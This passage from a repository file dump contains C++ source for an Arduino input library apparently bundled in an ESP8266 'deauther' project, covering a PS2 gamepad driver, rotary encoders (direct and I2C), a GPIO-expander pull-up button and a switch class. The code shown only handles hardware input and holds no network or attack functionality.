    "content": "#ifndef SimpleButton_ButtonPullupGPIOExpander_h\n#define SimpleButton_ButtonPullupGPIOExpander_h\n\n#include \"ButtonGPIOExpander.h\"\n\nnamespace simplebutton {\n    class ButtonPullupGPIOExpander : public ButtonGPIOExpander {\n        public:\n            ButtonPullupGPIOExpander();\n            ButtonPullupGPIOExpander(GPIOExpander* pcf, uint8_t pin);\n\n            ~ButtonPullupGPIOExpander();\n\n            void setup(GPIOExpander* pcf, uint8_t pin);\n\n            void enable();\n    };\n}\n\n#endif // ifndef SimpleButton_ButtonPullupGPIOExpander_h"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Buttons/PS2Gamepad.cpp",
    "content": "#include \"PS2Gamepad.h\"\n\nnamespace simplebutton {\n  #include \"PS2Gamepad.h\"\n\n    PS2Gamepad::PS2Gamepad() {}\n\n    PS2Gamepad::PS2Gamepad(uint8_t clockPin, uint8_t cmdPin, uint8_t attPin, uint8_t dataPin, bool analog) {\n        setup(clockPin, cmdPin, attPin, dataPin, analog);\n    }\n\n    PS2Gamepad::~PS2Gamepad() {\n        if (up) delete up;\n        if (down) delete down;\n        if (left) delete left;\n        if (right) delete right;\n\n        if (l1) delete l1;\n        if (l2) delete l2;\n        if (r1) delete r1;\n        if (r2) delete r2;\n\n        if (square) delete square;\n        if (triangle) delete triangle;\n        if (cross) delete cross;\n        if (circle) delete circle;\n\n        if (select) delete select;\n        if (start) delete start;\n\n        if (analogLeft) delete analogLeft;\n        if (analogRight) delete analogRight;\n    }\n\n    void PS2Gamepad::setup(uint8_t clockPin, uint8_t cmdPin, uint8_t attPin, uint8_t dataPin, bool analog) {\n        // pin setup\n        this->clockPin        = clockPin;\n        this->cmdPin          = cmdPin;\n        this->attPin          = attPin;\n        this->dataPin         = dataPin;\n        this->rumbleEnabled   = analog;\n        this->pressureEnabled = analog;\n\n        pinMode(clockPin, OUTPUT);\n        pinMode(attPin,   OUTPUT);\n        pinMode(cmdPin,   OUTPUT);\n\n        pinMode(dataPin,  INPUT_PULLUP);\n\n        digitalWrite(cmdPin, HIGH);\n        digitalWrite(clockPin, HIGH);\n\n        // button setup\n        if (!up) up = new ButtonAnalog(1, 255);\n        if (!down) down = new ButtonAnalog(1, 255);\n        if (!left) left = new ButtonAnalog(1, 255);\n        if (!right) right = new ButtonAnalog(1, 255);\n\n        if (!l1) l1 = new ButtonAnalog(1, 255);\n        if (!l2) l2 = new ButtonAnalog(1, 255);\n        if (!r1) r1 = new ButtonAnalog(1, 255);\n        if (!r2) r2 = new ButtonAnalog(1, 255);\n\n        if (!square) square = new ButtonAnalog(1, 255);\n        if (!triangle) triangle = new ButtonAnalog(1, 255);\n        if (!cross) cross = new ButtonAnalog(1, 255);\n        if (!circle) circle = new ButtonAnalog(1, 255);\n\n        if (!select) select = new Button();\n        if (!start) start = new Button();\n\n        if (!analogLeft) {\n            analogLeft = new AnalogStick();\n            analogLeft->setLogic(256);\n        }\n        if (!analogRight) {\n            analogRight = new AnalogStick();\n            analogRight->setLogic(256);\n        }\n\n        // connection setup\n        poll();\n        delay(10);\n        poll();\n        delay(10);\n        poll();\n\n        /*\n           if ((gamepadData[1] != 0x41) && (gamepadData[1] != 0x73) && (gamepadData[1] != 0x79)) {\n           errorCode = 1;\n           return;\n           }\n         */\n\n        int  tries   = 0;\n        bool success = false;\n\n        do {\n            sendEnter();\n\n            delayMicroseconds(5);\n\n            digitalWrite(cmdPin, HIGH);\n            digitalWrite(clockPin, HIGH);\n            digitalWrite(attPin, LOW); // enable joystick\n\n            delayMicroseconds(5);\n\n            sendRead();\n\n            digitalWrite(attPin, HIGH); // disable joystick\n\n            sendMode();\n            if (rumbleEnabled) sendRumble();\n            if (pressureEnabled) sendBytesLarge();\n            sendExit();\n\n            poll();\n\n            if ((gamepadData[1] == 0x79) || (gamepadData[1] == 0x73)) {\n                success = true;\n            } else {\n                tries++;\n            }\n        } while (tries < 10 && !success);\n\n        if (!success) {\n            errorCode = 2;\n        } else {\n            is_connected = true;\n        }\n    }\n\n    void PS2Gamepad::update() {\n        if (is_connected && (millis() - lastPoll > updateInterval)) {\n            poll();\n\n            up->update(getDigitalValue(4));\n            down->update(getDigitalValue(6));\n            left->update(getDigitalValue(7));\n            right->update(getDigitalValue(5));\n\n            l1->update(getDigitalValue(10));\n            l2->update(getDigitalValue(8));\n            r1->update(getDigitalValue(11));\n            r2->update(getDigitalValue(9));\n\n            square->update(getDigitalValue(15));\n            triangle->update(getDigitalValue(12));\n            cross->update(getDigitalValue(14));\n            circle->update(getDigitalValue(13));\n\n            select->update(getDigitalValue(0));\n            start->update(getDigitalValue(3));\n\n            analogLeft->update(getAnalogValue(7), getAnalogValue(8), getDigitalValue(1));\n            analogRight->update(getAnalogValue(5), getAnalogValue(6), getDigitalValue(2));\n\n            if (pressureEnabled) {\n                up->setValue(getDigitalValue(4) | getAnalogValue(11));\n                down->setValue(getDigitalValue(6) | getAnalogValue(12));\n                left->setValue(getDigitalValue(7) | getAnalogValue(10));\n                right->setValue(getDigitalValue(5) | getAnalogValue(9));\n\n                l1->setValue(getDigitalValue(10) | getAnalogValue(17));\n                l2->setValue(getDigitalValue(8) | getAnalogValue(19));\n                r1->setValue(getDigitalValue(11) | getAnalogValue(18));\n                r2->setValue(getDigitalValue(9) | getAnalogValue(20));\n\n                square->setValue(getDigitalValue(15) | getAnalogValue(16));\n                triangle->setValue(getDigitalValue(12) | getAnalogValue(13));\n                cross->setValue(getDigitalValue(14) | getAnalogValue(15));\n                circle->setValue(getDigitalValue(13) | getAnalogValue(14));\n            }\n        }\n    }\n\n    String PS2Gamepad::getError() {\n        String msg;\n\n        switch (errorCode) {\n        case 0:\n            msg += String(\"OK\");\n            break;\n\n        case 1:\n            msg += String(\"Mode not matched or not found [\");\n            msg += String(gamepadData[1], HEX);\n            msg += String(\"]\");\n            break;\n\n        case 2:\n            msg += String(\"Not accepting commands [\");\n            msg += String(gamepadData[1], HEX);\n            msg += String(\"]\");\n            break;\n        }\n\n        errorCode = 0;\n\n        return msg;\n    }\n\n    bool PS2Gamepad::connected() {\n        return is_connected;\n    }\n\n    void PS2Gamepad::setUpdateInterval(uint32_t updateInterval) {\n        this->updateInterval = updateInterval;\n    }\n\n    void PS2Gamepad::setMotors(uint8_t motorA, uint8_t motorB) {\n        if (!rumbleEnabled) {\n            rumbleEnabled   = true;\n            pressureEnabled = true;\n            reconfig();\n        }\n        poll(motorA, motorB);\n    }\n\n    void PS2Gamepad::reconfig() {\n        sendEnter();\n        sendMode();\n        if (rumbleEnabled) sendRumble();\n        if (pressureEnabled) sendBytesLarge();\n        sendExit();\n    }\n\n    void PS2Gamepad::poll() {\n        if (millis() - lastPoll > 1500) reconfig();\n        lastPoll = millis();\n\n        uint8_t dwordA[9]  = { 0x01, 0x42, 0x00, motorA, motorB, 0x00, 0x00, 0x00, 0x00 };\n        uint8_t dwordB[12] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };\n\n        int  tries   = 0;\n        bool success = false;\n\n        do {\n            digitalWrite(cmdPin, HIGH);\n            digitalWrite(clockPin, HIGH);\n            digitalWrite(attPin, LOW); // low enable joystick\n\n            delayMicroseconds(5);\n\n            // send command to ask for data\n            for (int i = 0; i < 9; i++) {\n                gamepadData[i] = shift(dwordA[i]);\n            }\n\n            // if controller is in full data return mode, get the rest of data\n            if (gamepadData[1] == 0x79) {\n                for (int i = 0; i < 12; i++) {\n                    gamepadData[i + 9] = shift(dwordB[i]);\n                }\n            }\n\n            digitalWrite(attPin, HIGH); // disable joystick\n\n            // Check to see if we received valid data or not.\n            // We should be in analog mode for our data to be valid (analog == 0x7_)\n            if ((gamepadData[1] & 0xf0) == 0x70) {\n                success = true;\n            } else {\n                // If we got to here, we are not in analog mode, try to recover...\n                reconfig();\n                tries++;\n            }\n        } while (tries < 10 && !success);\n\n        prevButtonData = buttonData;\n\n        buttonData = ((uint16_t)gamepadData[4] << 8) | gamepadData[3];\n    }\n\n    void PS2Gamepad::poll(uint8_t motorA, uint8_t motorB) {\n        this->motorA = motorA;\n        this->motorB = motorB;\n        poll();\n    }\n\n    bool PS2Gamepad::getDigitalValue(uint8_t button) {\n        if (/*button >= 0 && */ button <= 15) return (~buttonData >> button) & 1;\n        else return 0;\n    }\n\n    uint8_t PS2Gamepad::getAnalogValue(uint8_t button) {\n        return gamepadData[button];\n    }\n\n    uint8_t PS2Gamepad::shift(uint8_t data) {\n        uint8_t tmp = 0;\n\n        for (int i = 0; i < 8; i++) {\n            if (data & (1 << i)) digitalWrite(cmdPin, HIGH);\n            else digitalWrite(cmdPin, LOW);\n\n            digitalWrite(clockPin, LOW);\n            delayMicroseconds(5);\n\n            if (digitalRead(dataPin)) bitSet(tmp, i);\n\n            digitalWrite(clockPin, HIGH);\n            delayMicroseconds(5);\n        }\n\n        digitalWrite(cmdPin, HIGH);\n        delayMicroseconds(5);\n\n        return tmp;\n    }\n\n    void PS2Gamepad::sendEnter() {\n        digitalWrite(attPin, LOW);\n\n        shift(0x01);\n        shift(0x43);\n        shift(0x00);\n        shift(0x01);\n        shift(0x00);\n\n        digitalWrite(attPin, HIGH);\n    }\n\n    void PS2Gamepad::sendMode() {\n        digitalWrite(attPin, LOW);\n\n        shift(0x01);\n        shift(0x44);\n        shift(0x00);\n        shift(0x01);\n        shift(0x03);\n        shift(0x00);\n        shift(0x00);\n        shift(0x00);\n        shift(0x00);\n\n        digitalWrite(attPin, HIGH);\n    }\n\n    void PS2Gamepad::sendRumble() {\n        digitalWrite(attPin, LOW);\n\n        shift(0x01);\n        shift(0x4D);\n        shift(0x00);\n        shift(0x00);\n        shift(0x01);\n\n        digitalWrite(attPin, HIGH);\n    }\n\n    void PS2Gamepad::sendBytesLarge() {\n        digitalWrite(attPin, LOW);\n\n        shift(0x01);\n        shift(0x4F);\n        shift(0x00);\n        shift(0xFF);\n        shift(0xFF);\n        shift(0x03);\n        shift(0x00);\n        shift(0x00);\n        shift(0x00);\n\n        digitalWrite(attPin, HIGH);\n    }\n\n    void PS2Gamepad::sendExit() {\n        digitalWrite(attPin, LOW);\n\n        shift(0x01);\n        shift(0x43);\n        shift(0x00);\n        shift(0x00);\n        shift(0x5A);\n        shift(0x5A);\n        shift(0x5A);\n        shift(0x5A);\n        shift(0x5A);\n\n        digitalWrite(attPin, HIGH);\n    }\n\n    void PS2Gamepad::sendRead() {\n        digitalWrite(attPin, LOW);\n\n        shift(0x01);\n        shift(0x45);\n        shift(0x00);\n        controllerType = shift(0x5A);\n        shift(0x5A);\n        shift(0x5A);\n        shift(0x5A);\n        shift(0x5A);\n        shift(0x5A);\n\n        digitalWrite(attPin, HIGH);\n    }\n}\n"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Buttons/PS2Gamepad.h",
    "content": "#ifndef SimpleButton_PS2Gamepad_h\n#define SimpleButton_PS2Gamepad_h\n\n#include \"Button.h\"\n#include \"AnalogStick.h\"\n\nnamespace simplebutton {\n    class PS2Gamepad {\n        public:\n            ButtonAnalog* up    = NULL;\n            ButtonAnalog* down  = NULL;\n            ButtonAnalog* left  = NULL;\n            ButtonAnalog* right = NULL;\n\n            ButtonAnalog* l1 = NULL;\n            ButtonAnalog* l2 = NULL;\n            ButtonAnalog* r1 = NULL;\n            ButtonAnalog* r2 = NULL;\n\n            ButtonAnalog* square   = NULL;\n            ButtonAnalog* triangle = NULL;\n            ButtonAnalog* cross    = NULL;\n            ButtonAnalog* circle   = NULL;\n\n            Button* select = NULL;\n            Button* start  = NULL;\n\n            AnalogStick* analogLeft  = NULL;\n            AnalogStick* analogRight = NULL;\n\n            PS2Gamepad();\n            PS2Gamepad(uint8_t clockPin, uint8_t cmdPin, uint8_t attPin, uint8_t dataPin, bool analog = true);\n            ~PS2Gamepad();\n\n            void setup(uint8_t clockPin, uint8_t cmdPin, uint8_t attPin, uint8_t dataPin, bool analog = true);\n            void reconfig();\n\n            void update();\n\n            String getError();\n\n            bool connected();\n\n            void setUpdateInterval(uint32_t updateInterval);\n            void setMotors(uint8_t motorA, uint8_t motorB);\n\n        private:\n            void poll();\n            void poll(uint8_t motorA, uint8_t motorB);\n\n            bool getDigitalValue(uint8_t button);\n            uint8_t getAnalogValue(uint8_t button);\n\n            // config\n            uint8_t motorA = 0x00; // 0 = OFF, 1 = ONN\n            uint8_t motorB = 0x00; // usually 0-39 = OFF, 40 - 255 = ON\n\n            bool rumbleEnabled   = false;\n            bool pressureEnabled = false;\n\n            uint32_t updateInterval = 25;\n\n            // class variables\n            bool is_connected = false;\n\n            uint8_t errorCode      = 0;\n            uint8_t controllerType = 0;\n            uint8_t gamepadData[21];\n\n            uint16_t buttonData     = 0;\n            uint16_t prevButtonData = 0;\n\n            uint32_t lastPoll = 0;\n\n            uint8_t clockPin = 0;\n            uint8_t cmdPin   = 0;\n            uint8_t attPin   = 0;\n            uint8_t dataPin  = 0;\n\n            // in/output\n            uint8_t shift(uint8_t data);\n\n            // commands\n            void sendEnter();\n            void sendMode();\n            void sendRumble();\n            void sendBytesLarge();\n            void sendExit();\n            void sendRead();\n    };\n}\n\n#endif // ifndef SimpleButton_PS2Gamepad_h\n"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Buttons/RotaryEncoder.cpp",
    "content": "#include \"RotaryEncoder.h\"\n\nnamespace simplebutton {\n    RotaryEncoder::RotaryEncoder() {\n        setButtons(NULL, NULL, NULL);\n    }\n\n    RotaryEncoder::RotaryEncoder(uint8_t channelA, uint8_t channelB, uint8_t button) {\n        setup(channelA, channelB, button);\n    }\n\n    RotaryEncoder::RotaryEncoder(GPIOExpander* pcf, uint8_t channelA, uint8_t channelB, uint8_t button) {\n        setup(pcf, channelA, channelB, button);\n    }\n\n    RotaryEncoder::RotaryEncoder(Button* clockwise, Button* anticlockwise, Button* button) {\n        setup(clockwise, anticlockwise, button);\n    }\n\n    RotaryEncoder::~RotaryEncoder() {\n        if (this->clockwise) delete this->clockwise;\n        if (this->anticlockwise) delete this->anticlockwise;\n        if (this->button) delete this->button;\n    }\n\n    void RotaryEncoder::setup(uint8_t channelA, uint8_t channelB, uint8_t button) {\n        this->clockwise     = new ButtonPullup(channelA);\n        this->anticlockwise = new ButtonPullup(channelB);\n        this->button        = new ButtonPullup(button);\n\n        prevA = clockwise->read();\n        prevB = anticlockwise->read();\n    }\n\n    void RotaryEncoder::setup(GPIOExpander* pcf, uint8_t channelA, uint8_t channelB, uint8_t button) {\n        this->clockwise     = new ButtonPullupGPIOExpander(pcf, channelA);\n        this->anticlockwise = new ButtonPullupGPIOExpander(pcf, channelB);\n        this->button        = new ButtonPullupGPIOExpander(pcf, button);\n\n        prevA = clockwise->read();\n        prevB = anticlockwise->read();\n    }\n\n    void RotaryEncoder::setup(Button* clockwise, Button* anticlockwise, Button* button) {\n        setButtons(clockwise, anticlockwise, button);\n\n        prevA = clockwise->read();\n        prevB = anticlockwise->read();\n    }\n\n    void RotaryEncoder::update() {\n        update(clockwise->read(), anticlockwise->read(), button->read());\n    }\n\n    void RotaryEncoder::update(bool stateA, bool stateB, bool buttonState) {\n        button->update(buttonState);\n\n        if (curState == State::STILL) {\n            if ((stateA != prevA) && (stateB == prevB)) {\n                prevA    = stateA;\n                curState = State::ANTICLOCKWISE;\n            } else if ((stateA == prevA) && (stateB != prevB)) {\n                prevB    = stateB;\n                curState = State::CLOCKWISE;\n            }\n        } else if ((curState != State::STILL) && (stateA == stateB)) {\n            prevA = stateA;\n            prevB = stateB;\n\n            if (curState == prevState) steps++;\n            else steps = 1;\n\n            if (steps >= button_steps) {\n                if (curState == State::CLOCKWISE) {\n                    if (!inverted) goClockwise();\n                    else goAnticlockwise();\n                } else if (curState == State::ANTICLOCKWISE)  {\n                    if (!inverted) goAnticlockwise();\n                    else goClockwise();\n                }\n\n                steps = 0;\n            }\n\n            prevState = curState;\n            curState  = State::STILL;\n        }\n    }\n\n    void RotaryEncoder::reset() {\n        button->reset();\n        clockwise->reset();\n        anticlockwise->reset();\n\n        curState  = State::STILL;\n        prevState = State::STILL;\n\n        steps = 0;\n    }\n\n    int32_t RotaryEncoder::getPos() {\n        return pos;\n    }\n\n    void RotaryEncoder::setButtons(Button* clockwise, Button* anticlockwise, Button* button) {\n        if (this->clockwise) delete this->clockwise;\n        if (this->anticlockwise) delete this->anticlockwise;\n        if (this->button) delete this->button;\n\n        this->clockwise     = clockwise ? clockwise : new Button();\n        this->anticlockwise = anticlockwise ? anticlockwise : new Button();\n        this->button        = button ? button : new Button();\n    }\n\n    void RotaryEncoder::setPos(int32_t pos) {\n        this->pos = pos;\n    }\n\n    void RotaryEncoder::setMin(int32_t value) {\n        this->min = value;\n    }\n\n    void RotaryEncoder::setMax(int32_t value) {\n        this->max = value;\n    }\n\n    void RotaryEncoder::setEncoding(uint8_t steps) {\n        if ((steps == 1) || (steps == 2) || (steps == 4)) this->button_steps = steps;\n    }\n\n    void RotaryEncoder::enableLoop(bool loop) {\n        this->loop = loop;\n    }\n\n    void RotaryEncoder::setInverted(bool inverted) {\n        this->inverted = inverted;\n    }\n\n    void RotaryEncoder::goClockwise() {\n        clockwise->click();\n        anticlockwise->reset();\n        if (pos < max) pos++;\n        else if (loop) pos = min;\n    }\n\n    void RotaryEncoder::goAnticlockwise() {\n        anticlockwise->click();\n        clockwise->reset();\n        if (pos > min) pos--;\n        else if (loop) pos = max;\n    }\n\n    bool RotaryEncoder::clicked() {\n        return button->clicked();\n    }\n\n    bool RotaryEncoder::incremented() {\n        return clockwise->clicked();\n    }\n\n    bool RotaryEncoder::decremented() {\n        return anticlockwise->clicked();\n    }\n\n    bool RotaryEncoder::minVal() {\n        return pos == min;\n    }\n\n    bool RotaryEncoder::maxVal() {\n        return pos == max;\n    }\n}"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Buttons/RotaryEncoder.h",
    "content": "#ifndef SimpleButton_RotaryEncoder_h\n#define SimpleButton_RotaryEncoder_h\n\n#include \"Button.h\"\n#include \"ButtonPullup.h\"\n#include \"ButtonGPIOExpander.h\"\n#include \"ButtonPullupGPIOExpander.h\"\n\nnamespace simplebutton {\n    class RotaryEncoder {\n        public:\n            Button* button        = NULL;\n            Button* clockwise     = NULL;\n            Button* anticlockwise = NULL;\n\n            RotaryEncoder();\n            RotaryEncoder(uint8_t channelA, uint8_t channelB, uint8_t button);\n            RotaryEncoder(GPIOExpander* pcf, uint8_t channelA, uint8_t channelB, uint8_t button);\n            RotaryEncoder(Button* clockwise, Button* anticlockwise, Button* button);\n\n            ~RotaryEncoder();\n\n            void setup(uint8_t channelA, uint8_t channelB, uint8_t button);\n            void setup(GPIOExpander* pcf, uint8_t channelA, uint8_t channelB, uint8_t button);\n            void setup(Button* clockwise, Button* anticlockwise, Button* button);\n\n            void update();\n            void update(bool stateA, bool stateB, bool buttonState);\n\n            void reset();\n\n            int32_t getPos();\n\n            void setButtons(Button* clockwise, Button* anticlockwise, Button* button);\n            void setPos(int32_t pos);\n            void enableLoop(bool loop);\n            void setEncoding(uint8_t steps);\n            void setMin(int32_t value);\n            void setMax(int32_t value);\n            void setInverted(bool inverted);\n\n            bool clicked();\n            bool incremented();\n            bool decremented();\n            bool minVal();\n            bool maxVal();\n\n        private:\n            int32_t pos = 0;\n\n            bool prevA = false;\n            bool prevB = false;\n\n            enum State { STILL = 0, CLOCKWISE = 1, ANTICLOCKWISE = 2 };\n            State curState  = State::STILL;\n            State prevState = State::STILL;\n\n            uint8_t button_steps = 1; // how many steps per turn (encoding)\n            uint8_t steps        = 0; // tmp counter\n\n            int32_t min   = -128;\n            int32_t max   = 127;\n            bool loop     = false;\n            bool inverted = false;\n\n            void goClockwise();\n            void goAnticlockwise();\n    };\n}\n\n#endif // ifndef SimpleButton_RotaryEncoder_h"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Buttons/RotaryEncoderI2C.cpp",
    "content": "#include \"RotaryEncoderI2C.h\"\nnamespace simplebutton {\n    RotaryEncoderI2C::RotaryEncoderI2C() {\n        setup(0x30);\n    }\n\n    RotaryEncoderI2C::RotaryEncoderI2C(uint8_t i2cAddress) {\n        setup(i2cAddress);\n    }\n\n    RotaryEncoderI2C::RotaryEncoderI2C(uint8_t i2cAddress, TwoWire* wire) {\n        setup(i2cAddress, wire);\n    }\n\n    RotaryEncoderI2C::~RotaryEncoderI2C() {}\n\n    void RotaryEncoderI2C::setup(uint8_t i2cAddress) {\n        setup(i2cAddress, &Wire);\n    }\n\n    void RotaryEncoderI2C::setup(uint8_t i2cAddress, TwoWire* wire) {\n        this->i2cAddress = i2cAddress;\n        this->wire       = wire;\n\n        this->clockwise     = new Button();\n        this->anticlockwise = new Button();\n        this->button        = new Button();\n\n        setMin(-128);\n        setMax(127);\n\n        begin();\n    }\n\n    bool RotaryEncoderI2C::interrupt() {\n        if (interruptEnable) return digitalRead(interruptPin) == LOW;\n\n        return true;\n    }\n\n    void RotaryEncoderI2C::enableInterrupt(uint8_t pin, bool pullup) {\n        interruptPin    = pin;\n        interruptEnable = true;\n        interruptPullup = pullup;\n        pinMode(pin, INPUT);\n    }\n\n    bool RotaryEncoderI2C::update() {\n        if (interrupt()) {\n            readStatus();\n\n            if (clicked()) button->click();\n\n            if (incremented()) clockwise->click();\n\n            if (decremented()) anticlockwise->click();\n\n            return true;\n        }\n\n        return false;\n    }\n\n    void RotaryEncoderI2C::begin() {\n        uint8_t config = 0x00;\n\n        if (interruptEnable) config = config | 0x01;\n        if (ledEnabled) config = config | 0x02;\n        if (loop) config = config | 0x04;\n        if (inverted) config = config | 0x08;\n        if (!interruptPullup) config = config | 0x10;\n        if (encoding) config = config | 0x20;\n\n        setConfig(config);\n    }\n\n    void RotaryEncoderI2C::reset() {\n        button->reset();\n        clockwise->reset();\n        anticlockwise->reset();\n\n        setConfig(0x80);\n        update();\n    }\n\n    bool RotaryEncoderI2C::connected() {\n        return error == 0;\n    }\n\n    String RotaryEncoderI2C::getError() {\n        String msg;\n\n        switch (error) {\n        case 0:\n            msg += \"OK\";\n            break;\n\n        case 1:\n            msg += String(F(\"Data too long to fit in transmit buffer\"));\n            break;\n\n        case 2:\n            msg += String(F(\"Received NACK on transmit of address\"));\n            break;\n\n        case 3:\n            msg += String(F(\"Received NACK on transmit of data\"));\n\n        case 4:\n            msg += String(F(\"Unknown transmission error\"));\n            break;\n\n        case 5:\n            msg += String(F(\"I2C error\"));\n            break;\n        }\n\n        return msg;\n    }\n\n    void RotaryEncoderI2C::setConfig(uint8_t config) {\n        write(0x00, config);\n    }\n\n    void RotaryEncoderI2C::enableLed(bool led) {\n        ledEnabled = led;\n    }\n\n    void RotaryEncoderI2C::enableLoop(bool loop) {\n        this->loop = loop;\n    }\n\n    void RotaryEncoderI2C::setEncoding(uint8_t encoding) {\n        if (encoding == 1) this->encoding = false;\n        else if (encoding == 2) this->encoding = true;\n    }\n\n    void RotaryEncoderI2C::setInverted(bool inverted) {\n        this->inverted = inverted;\n    }\n\n    void RotaryEncoderI2C::setPos(int32_t value) {\n        write(0x02, value);\n    }\n\n    void RotaryEncoderI2C::setMin(int32_t value) {\n        write(0x0A, value);\n    }\n\n    void RotaryEncoderI2C::setMax(int32_t value) {\n        write(0x06, value);\n    }\n\n    void RotaryEncoderI2C::setLed(uint8_t valueA, uint8_t valueB) {\n        setLedA(valueA);\n        setLedB(valueB);\n    }\n\n    void RotaryEncoderI2C::setLedA(uint8_t value) {\n        if (ledEnabled) write(0x0E, value);\n    }\n\n    void RotaryEncoderI2C::setLedB(uint8_t value) {\n        if (ledEnabled) write(0x0F, value);\n    }\n\n    int32_t RotaryEncoderI2C::getPos() {\n        return read32(0x02);\n    }\n\n    uint8_t RotaryEncoderI2C::readStatus() {\n        status = read(0x01);\n        return status;\n    }\n\n    uint8_t RotaryEncoderI2C::readLedA() {\n        return read(0x0E);\n    }\n\n    uint8_t RotaryEncoderI2C::readLedB() {\n        return read(0x0F);\n    }\n\n    int32_t RotaryEncoderI2C::readMax() {\n        return read32(0x06);\n    }\n\n    int32_t RotaryEncoderI2C::readMin() {\n        return read32(0x0A);\n    }\n\n    bool RotaryEncoderI2C::clicked() {\n        return status & 0x01;\n    }\n\n    bool RotaryEncoderI2C::incremented() {\n        return status & 0x02;\n    }\n\n    bool RotaryEncoderI2C::decremented() {\n        return status & 0x04;\n    }\n\n    bool RotaryEncoderI2C::minVal() {\n        return status & 0x10;\n    }\n\n    bool RotaryEncoderI2C::maxVal() {\n        return status & 0x08;\n    }\n\n    void RotaryEncoderI2C::write(uint8_t address, uint8_t value) {\n        wire->beginTransmission(i2cAddress);\n\n        wire->write(address);\n        wire->write(value);\n\n        error = wire->endTransmission();\n    }\n\n    void RotaryEncoderI2C::write(uint8_t address, int32_t value) {\n        wire->beginTransmission(i2cAddress);\n\n        wire->write(address);\n        wire->write(((uint32_t)value >> 24) & 0xFF);\n        wire->write(((uint32_t)value >> 16) & 0xFF);\n        wire->write(((uint32_t)value >> 8) & 0xFF);\n        wire->write((uint32_t)value & 0xFF);\n\n        error = wire->endTransmission();\n    }\n\n    uint8_t RotaryEncoderI2C::read(uint8_t address) {\n        uint8_t data = 0xFF;\n\n        // ask for some sweet data\n\n        wire->beginTransmission(i2cAddress);\n        wire->write(address);\n        error = wire->endTransmission();\n\n        // read out the sweet data\n        wire->requestFrom(i2cAddress, (uint8_t)1);\n\n        if (wire->available() == 1) {\n            data = wire->read();\n        } else {\n            error = ROTARY_ENCODER_I2C_ERROR;\n        }\n\n        return data;\n    }\n\n    int32_t RotaryEncoderI2C::read32(uint8_t address) {\n        uint32_t data = 0xFFFFFFFF;\n\n        // ask for some sweet data\n        wire->beginTransmission(i2cAddress);\n        wire->write(address);\n        error = wire->endTransmission();\n\n        // read out the sweet data\n        wire->requestFrom(i2cAddress, (uint8_t)4);\n\n        if (wire->available() == 4) {\n            data = wire->read();\n            data = (data << 8) | wire->read();\n            data = (data << 8) | wire->read();\n            data = (data << 8) | wire->read();\n        } else {\n            error = ROTARY_ENCODER_I2C_ERROR;\n        }\n\n        return (int32_t)data;\n    }\n}"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Buttons/RotaryEncoderI2C.h",
    "content": "#ifndef SimpleButton_RotaryEncoderI2C_h\n#define SimpleButton_RotaryEncoderI2C_h\n\n#include \"Arduino.h\"\n#include <Wire.h>\n\n#define ROTARY_ENCODER_I2C_ERROR 5\n\n#include \"Button.h\"\n\nnamespace simplebutton {\n    class RotaryEncoderI2C {\n        public:\n            Button* clockwise     = NULL;\n            Button* anticlockwise = NULL;\n            Button* button        = NULL;\n\n            RotaryEncoderI2C();\n            RotaryEncoderI2C(uint8_t i2cAddress);\n            RotaryEncoderI2C(uint8_t i2cAddressdress, TwoWire* wire);\n\n            ~RotaryEncoderI2C();\n\n            void setup(uint8_t i2cAddress);\n            void setup(uint8_t i2cAddress, TwoWire* wire);\n\n            bool update();\n\n            void begin();\n            void reset();\n\n            bool connected();\n            String getError();\n\n            void setConfig(uint8_t config);\n\n            void enableInterrupt(uint8_t pin, bool pullup);\n            void enableLed(bool led);\n            void enableLoop(bool loop);\n            void setEncoding(uint8_t encoding);\n            void setInverted(bool inverted);\n\n            bool interrupt();\n\n            void setPos(int32_t value);\n            void setMin(int32_t value);\n            void setMax(int32_t value);\n            void setLed(uint8_t valueA, uint8_t valueB);\n            void setLedA(uint8_t value);\n            void setLedB(uint8_t value);\n\n            int32_t getPos();\n\n            uint8_t readStatus();\n            uint8_t readLedA();\n            uint8_t readLedB();\n            int32_t readMax();\n            int32_t readMin();\n\n            bool clicked();\n            bool incremented();\n            bool decremented();\n            bool minVal();\n            bool maxVal();\n\n        private:\n            // temp variables\n            uint8_t status = 0x00;\n            uint8_t error  = 0;\n\n            // i2c stuff\n            uint8_t i2cAddress = 0x00;\n            TwoWire* wire      = NULL;\n\n            // config\n            uint8_t interruptPin = 0;\n            bool interruptEnable = false; // INTE\n            bool interruptPullup = true;\n            bool ledEnabled      = false; // LEDE\n            bool encoding        = false; // x1 = false, x2 = true\n            bool loop            = false; // WRAPE\n            bool inverted        = false; // DIRE\n\n            // internal functions\n            void write(uint8_t address, uint8_t value);\n            void write(uint8_t address, int32_t value);\n\n            uint8_t read(uint8_t address);\n            int32_t read32(uint8_t address);\n    };\n}\n#endif // ifndef SimpleButton_RotaryEncoderI2C_h"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Buttons/Switch.cpp",
    "content": "#include \"Switch.h\"\n\nnamespace simplebutton {\n    Switch::Switch() {\n        button = new Button();\n    }\n\n    Switch::Switch(uint8_t pin) {\n        setup(pin);\n    }\n\n    Switch::Switch(GPIOExpander* pcf, uint8_t pin) {\n        setup(pcf, pin);\n    }\n\n    Switch::Switch(Button* button) {\n        setup(button);\n    }\n\n    Switch::~Switch() {\n        if (this->button) delete this->button;\n    }\n\n    void Switch::setup(uint8_t pin) {\n        button   = new Button(pin);\n        tmpState = button->read();\n    }\n\n    void Switch::setup(GPIOExpander* pcf, uint8_t pin) {\n        button   = new ButtonGPIOExpander(pcf, pin);\n        tmpState = button->read();\n    }\n\n    void Switch::setup(Button* button) {\n        setButton(button);\n        tmpState = button->read();\n    }\n\n    void Switch::update() {\n        update(button->read());\n    }\n\n    void Switch::update(bool state) {\n        bool prevState = tmpState;\n\n        tmpState = state > 0;\n\n        if (prevState != tmpState) button->click();\n    }\n\n    void Switch::setButton(Button* button) {\n        if (this->button) delete this->button;\n        this->button = button ? button : new Button();\n    }\n\n    bool Switch::getState() {\n        return tmpState;\n    }\n\n    bool Switch::clicked() {\n        return button->clicked();\n    }\n}"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Buttons/Switch.h",
